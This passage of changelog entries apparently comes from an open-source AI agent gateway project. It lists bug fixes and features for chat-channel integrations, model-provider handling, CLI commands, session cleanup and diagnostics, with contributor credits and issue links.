<li>Gateway/diagnostics: include stuck-session reason hints and recovery skip causes in warnings, so operators can tell whether a lane is waiting on active work, queued work, or stale bookkeeping. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/Codex: bound embedded-run cleanup, trajectory flushing, and command-lane task timeouts after runtime failures, so Discord and other chat sessions return to idle instead of staying stuck in processing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Heartbeat/exec: consume successful metadata-only async exec completions silently so Telegram and other chat surfaces no longer ask users for missing command logs after <code>No session found</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353366864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74595/hovercard" href="https://github.com/openclaw/openclaw/issues/74595">#74595</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gkoch02/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gkoch02">@gkoch02</a>.</li>
<li>Web fetch: add a documented <code>tools.web.fetch.ssrfPolicy.allowIpv6UniqueLocalRange</code> opt-in and thread it through cache keys and DNS/IP checks so trusted fake-IP proxy stacks using <code>fc00::/7</code> can work without broad private-network access. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350890451" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74351" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74351/hovercard" href="https://github.com/openclaw/openclaw/issues/74351">#74351</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrey701/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrey701">@jeffrey701</a>.</li>
<li>OpenAI Codex: restore <code>/verbose full</code> persistence and app-server tool-output forwarding, and retry Gateway E2E temp-home cleanup so debug runs do not regress on stale validation or cleanup flakes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Anthropic/Meridian: preserve text and thinking content seeded on <code>content_block_start</code> in anthropic-messages streams, so <code>[thinking, text]</code> replies no longer persist as empty turns or trigger empty-response fallbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351435288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74410" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74410/hovercard" href="https://github.com/openclaw/openclaw/issues/74410">#74410</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Channels/Matrix: complete the cross-signing handshake on <code>openclaw matrix verify confirm-sas</code> so the operator's other Matrix device clears its <code>Verifying…</code> loop instead of staying stuck after the agent confirms. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352761902" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74542/hovercard" href="https://github.com/openclaw/openclaw/pull/74542">#74542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nklock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nklock">@nklock</a>.</li>
<li>CLI/status: honor channel-specific model context-window overrides when reporting effective context, so channel-scoped sessions reflect the active window in <code>openclaw status</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</li>
<li>Sandbox/Docker: tolerate Docker daemon unavailability when sandbox mode is off, so doctor and preflight checks no longer fail on installs that do not run the Docker daemon. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344707479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73671" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73671/hovercard" href="https://github.com/openclaw/openclaw/pull/73671">#73671</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kaseonedge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kaseonedge">@kaseonedge</a>.</li>
<li>Control UI/mobile: persist mobile chat settings through Lit-managed state and route mobile navigation through the same view-state path so chat panel toggles survive transitions on small viewports. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Control UI/exports: align sidebar trigger affordances across the resizable divider, mobile layout, and exported-HTML transcript template so the sidebar toggle and exported transcript sidebar render with consistent hit areas and styling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Control UI/chat: disable the page refresh affordance while a chat run is active so accidental refreshes do not abort an in-flight reply. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Angfr95/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Angfr95">@Angfr95</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Memory/LanceDB: return real memory records from <code>openclaw ltm list</code> (with optional <code>--limit</code> and createdAt ordering) instead of an empty placeholder, so the CLI surface matches the documented LTM listing contract. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279969994" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67952/hovercard" href="https://github.com/openclaw/openclaw/pull/67952">#67952</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangyue19921010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangyue19921010">@zhangyue19921010</a>.</li>
<li>Media: include redacted per-attempt resize failures and resolved model input capabilities in vision-pipeline errors so ARM64 image failures are diagnosable without closing the remaining routing investigation. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352922423" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74552" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74552/hovercard" href="https://github.com/openclaw/openclaw/issues/74552">#74552</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1yihui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1yihui">@1yihui</a>.</li>
<li>Control UI/i18n: route zh-CN agent, debug, channel-refresh, and exec-approval copy through the locale source while preserving the English <code>Cron Jobs</code> agent tab label and the security-audit command styling. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040969776" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39692" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39692/hovercard" href="https://github.com/openclaw/openclaw/pull/39692">#39692</a> repair context. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hepeng154833488/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hepeng154833488">@hepeng154833488</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Auto-reply: honor explicit <code>silentReply.direct: "allow"</code> for clean empty or reasoning-only direct chat turns while keeping the default direct-chat empty-response guard conservative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351432589" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74409" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74409/hovercard" href="https://github.com/openclaw/openclaw/issues/74409">#74409</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesuskannolis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesuskannolis">@jesuskannolis</a>.</li>
<li>OpenAI Codex: send a non-empty Responses input item when a Codex turn only has systemPrompt-backed instructions, avoiding ChatGPT backend 400s from <code>input: []</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346425036" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73820" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73820/hovercard" href="https://github.com/openclaw/openclaw/issues/73820">#73820</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/woodhouse-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/woodhouse-bot">@woodhouse-bot</a>.</li>
<li>Ollama: normalize provider-prefixed tool-call names at the native stream boundary so Kimi/Ollama calls such as <code>functions.exec</code> dispatch as <code>exec</code> instead of missing configured tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352343792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74487/hovercard" href="https://github.com/openclaw/openclaw/issues/74487">#74487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/afurm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/afurm">@afurm</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carreipeia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carreipeia">@carreipeia</a>.</li>
<li>Security/audit: resolve configured model aliases before model-tier and small-parameter checks, so alias-based GPT-5/Codex configs no longer report false weak-model warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351877071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74455" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74455/hovercard" href="https://github.com/openclaw/openclaw/issues/74455">#74455</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blaspat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blaspat">@blaspat</a>.</li>
<li>CLI/agent: isolate Gateway-timeout embedded fallback runs under explicit <code>gateway-fallback-*</code> sessions so accepted Gateway runs cannot race transcript locks or replace the routed conversation session. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4222569416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62981" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62981/hovercard" href="https://github.com/openclaw/openclaw/issues/62981">#62981</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</li>
<li>CLI/QR/device-pair: reject malformed public setup URLs before issuing mobile pairing bootstrap tokens, while keeping valid bare host:port setup URLs supported. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</li>
<li>Models/UI: hide unauthenticated providers from the default Web chat, <code>/models</code>, and model setup pickers while keeping explicit full-catalog browse paths through <code>view: "all"</code>, <code>/models &lt;provider&gt; all</code>, and <code>models list --all</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351540119" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74423" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74423/hovercard" href="https://github.com/openclaw/openclaw/issues/74423">#74423</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guarismo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guarismo">@guarismo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Ollama: keep explicit local model runs on target-provider runtime hooks when PI discovery is skipped, so one-shot Ollama calls no longer cold-load unrelated provider runtimes before streaming. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347954374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74078" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74078/hovercard" href="https://github.com/openclaw/openclaw/issues/74078">#74078</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sakalaboator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sakalaboator">@sakalaboator</a>.</li>
<li>Slack/prompts: rely on Slack <code>interactiveReplies</code> guidance instead of generic <code>inlineButtons</code> config hints so enabled Slack button directives are not contradicted. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077041050" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46647/hovercard" href="https://github.com/openclaw/openclaw/issues/46647">#46647</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeremykoerber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeremykoerber">@jeremykoerber</a>.</li>
<li>Slack/reactions: treat duplicate <code>already_reacted</code> responses as idempotent success so repeated agent reaction adds no longer surface as tool failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291287868" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69005" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69005/hovercard" href="https://github.com/openclaw/openclaw/issues/69005">#69005</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shipitsteven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shipitsteven">@shipitsteven</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Channels/Discord: cool down Cloudflare/Error 1015 HTML 429 REST failures during startup application lookup and gateway metadata fetches, add <code>channels.discord.applicationId</code> as an app-id lookup bypass, sanitize HTML bodies before logging, and honor Retry-After before falling back to a conservative cooldown. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4038404026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38853" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38853/hovercard" href="https://github.com/openclaw/openclaw/issues/38853">#38853</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352352572" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74489/hovercard" href="https://github.com/openclaw/openclaw/pull/74489">#74489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/djgeorg3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/djgeorg3">@djgeorg3</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Garyko0730/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Garyko0730">@Garyko0730</a>.</li>
<li>Slack/tools: expose <code>fileId</code> in the shared message tool schema so <code>download-file</code> can receive Slack attachment IDs from inbound placeholders. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4074134594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45574" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45574/hovercard" href="https://github.com/openclaw/openclaw/issues/45574">#45574</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadvegas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadvegas">@chadvegas</a>.</li>
<li>Exec: reject invalid per-call <code>host</code> values instead of silently falling back to the default target, so hostname-like values fail before commands run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351549756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74426" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74426/hovercard" href="https://github.com/openclaw/openclaw/issues/74426">#74426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scr00ge-00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scr00ge-00">@scr00ge-00</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Google/Gemini: send non-empty placeholder content when a Gemini run is triggered with empty or filtered user content, avoiding <code>contents is not specified</code> API errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CaoYuhaoCarl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CaoYuhaoCarl">@CaoYuhaoCarl</a>.</li>
<li>Heartbeat: preserve non-task <code>HEARTBEAT.md</code> context around <code>tasks:</code> blocks and apply <code>agents.defaults.heartbeat</code> to all agents unless per-agent heartbeat entries restrict scope. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sekhar03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sekhar03">@Sekhar03</a>.</li>
<li>Markdown: preserve paragraph breaks inside loose list items in shared outbound formatting while keeping tight list spacing stable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</li>
<li>Build/Gateway: route restart, shutdown, respawn, diagnostics, command-queue cleanup, and runtime cleanup through one stable gateway lifecycle runtime entry so rebuilt packages do not strand long-running gateways on stale hashed chunks. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347423967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73964/hovercard" href="https://github.com/openclaw/openclaw/pull/73964">#73964</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Memory/wiki: keep broad shared-source and generated related-link blocks from turning every page into a search hit, cap noisy backlinks, support all-term searches such as people-routing queries, and prefer readable page body snippets over generated metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Cron/Gateway: abort and bounded-clean up timed-out isolated agent turns before recording the timeout, so stale cron sessions cannot leave Discord or other chat lanes stuck in <code>processing</code> after a timeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/errors: suppress malformed streaming tool-call JSON fragments before they reach chat surfaces while preserving provider request-validation diagnostics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187420949" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59076/hovercard" href="https://github.com/openclaw/openclaw/issues/59076">#59076</a>; keeps <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187447924" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59080" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59080/hovercard" href="https://github.com/openclaw/openclaw/issues/59080">#59080</a> as duplicate coverage. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187915161" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59118" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59118/hovercard" href="https://github.com/openclaw/openclaw/pull/59118">#59118</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/singleGanghood/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/singleGanghood">@singleGanghood</a>.</li>
<li>CLI/models: restore provider-filtered <code>models list --all --provider &lt;id&gt;</code> rows for providers without manifest/static catalog coverage, including Anthropic and Amazon Bedrock, while keeping the compatibility fallback off expensive availability and resolver paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: keep manifest auth-evidence credentials visible across <code>models status</code>, auth probes, and PI model discovery so workspace-scoped provider auth does not disagree between listing, probing, and execution. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: move local credential evidence such as Google Vertex ADC into generic plugin manifest setup metadata so the model-list auth index stays declarative without provider-specific runtime branches. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: compute the <code>models list</code> Auth column through one command-local provider auth index so row rendering no longer repeats auth profile, env, configured-provider, AWS, or synthetic-auth checks per model row. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: move the OpenAI listable catalog into the plugin manifest so <code>models list --all --provider openai</code> uses the manifest fast path instead of loading provider runtime normalization hooks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/tools: keep the Gateway <code>tools.*</code> RPC namespace out of plugin command discovery and managed proxy startup, so stray commands like <code>openclaw tools effective</code> fail quickly instead of cold-loading plugin metadata. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342227669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73477/hovercard" href="https://github.com/openclaw/openclaw/issues/73477">#73477</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a>.</li>
<li>CLI/status: keep default text <code>openclaw status --usage</code> on metadata-only channel scans unless <code>--deep</code> or <code>--all</code> is set, and send stray <code>openclaw tools --help</code> through the precomputed root-help fast path so latency-triage commands avoid plugin/runtime cold loads before printing. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342227669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73477/hovercard" href="https://github.com/openclaw/openclaw/issues/73477">#73477</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349031630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74220" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74220/hovercard" href="https://github.com/openclaw/openclaw/pull/74220">#74220</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/diagnostics: trace embedded-run startup and preparation stage timings before model I/O, and warn only on severe slow stages, so Docker/VPS latency reports can identify whether plugin loading, auth/model resolution, tool inventory, bootstrap, MCP/LSP, resource loading, or stream setup is dominating pre-run latency without noisy normal logs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341750455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73428" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73428/hovercard" href="https://github.com/openclaw/openclaw/issues/73428">#73428</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dimaoggg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dimaoggg">@Dimaoggg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quangtran88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quangtran88">@quangtran88</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Heyvhuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Heyvhuang">@Heyvhuang</a>.</li>
<li>Agents/subagents: cache persisted subagent run registry reads by file signature while preserving fresh-parse isolation, so busy gateways stop reparsing unchanged <code>subagents/runs.json</code> on controller/list/status hot paths. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331750102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72338/hovercard" href="https://github.com/openclaw/openclaw/issues/72338">#72338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/argus-as/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/argus-as">@argus-as</a>.</li>
<li>Gateway/clients: wait for the event loop to become responsive before opening Gateway WebSocket RPC/probe/client connections while charging that readiness wait to caller timeouts, so Windows deferred module-evaluation stalls no longer turn healthy loopback gateways into false handshake timeouts across status, TUI, ACP, MCP, node-host, and plugin client paths. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349780099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74279" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74279/hovercard" href="https://github.com/openclaw/openclaw/issues/74279">#74279</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4082797740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48270" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48270/hovercard" href="https://github.com/openclaw/openclaw/pull/48270">#48270</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wongcode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wongcode">@wongcode</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joost-heijden/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joost-heijden">@joost-heijden</a>.</li>
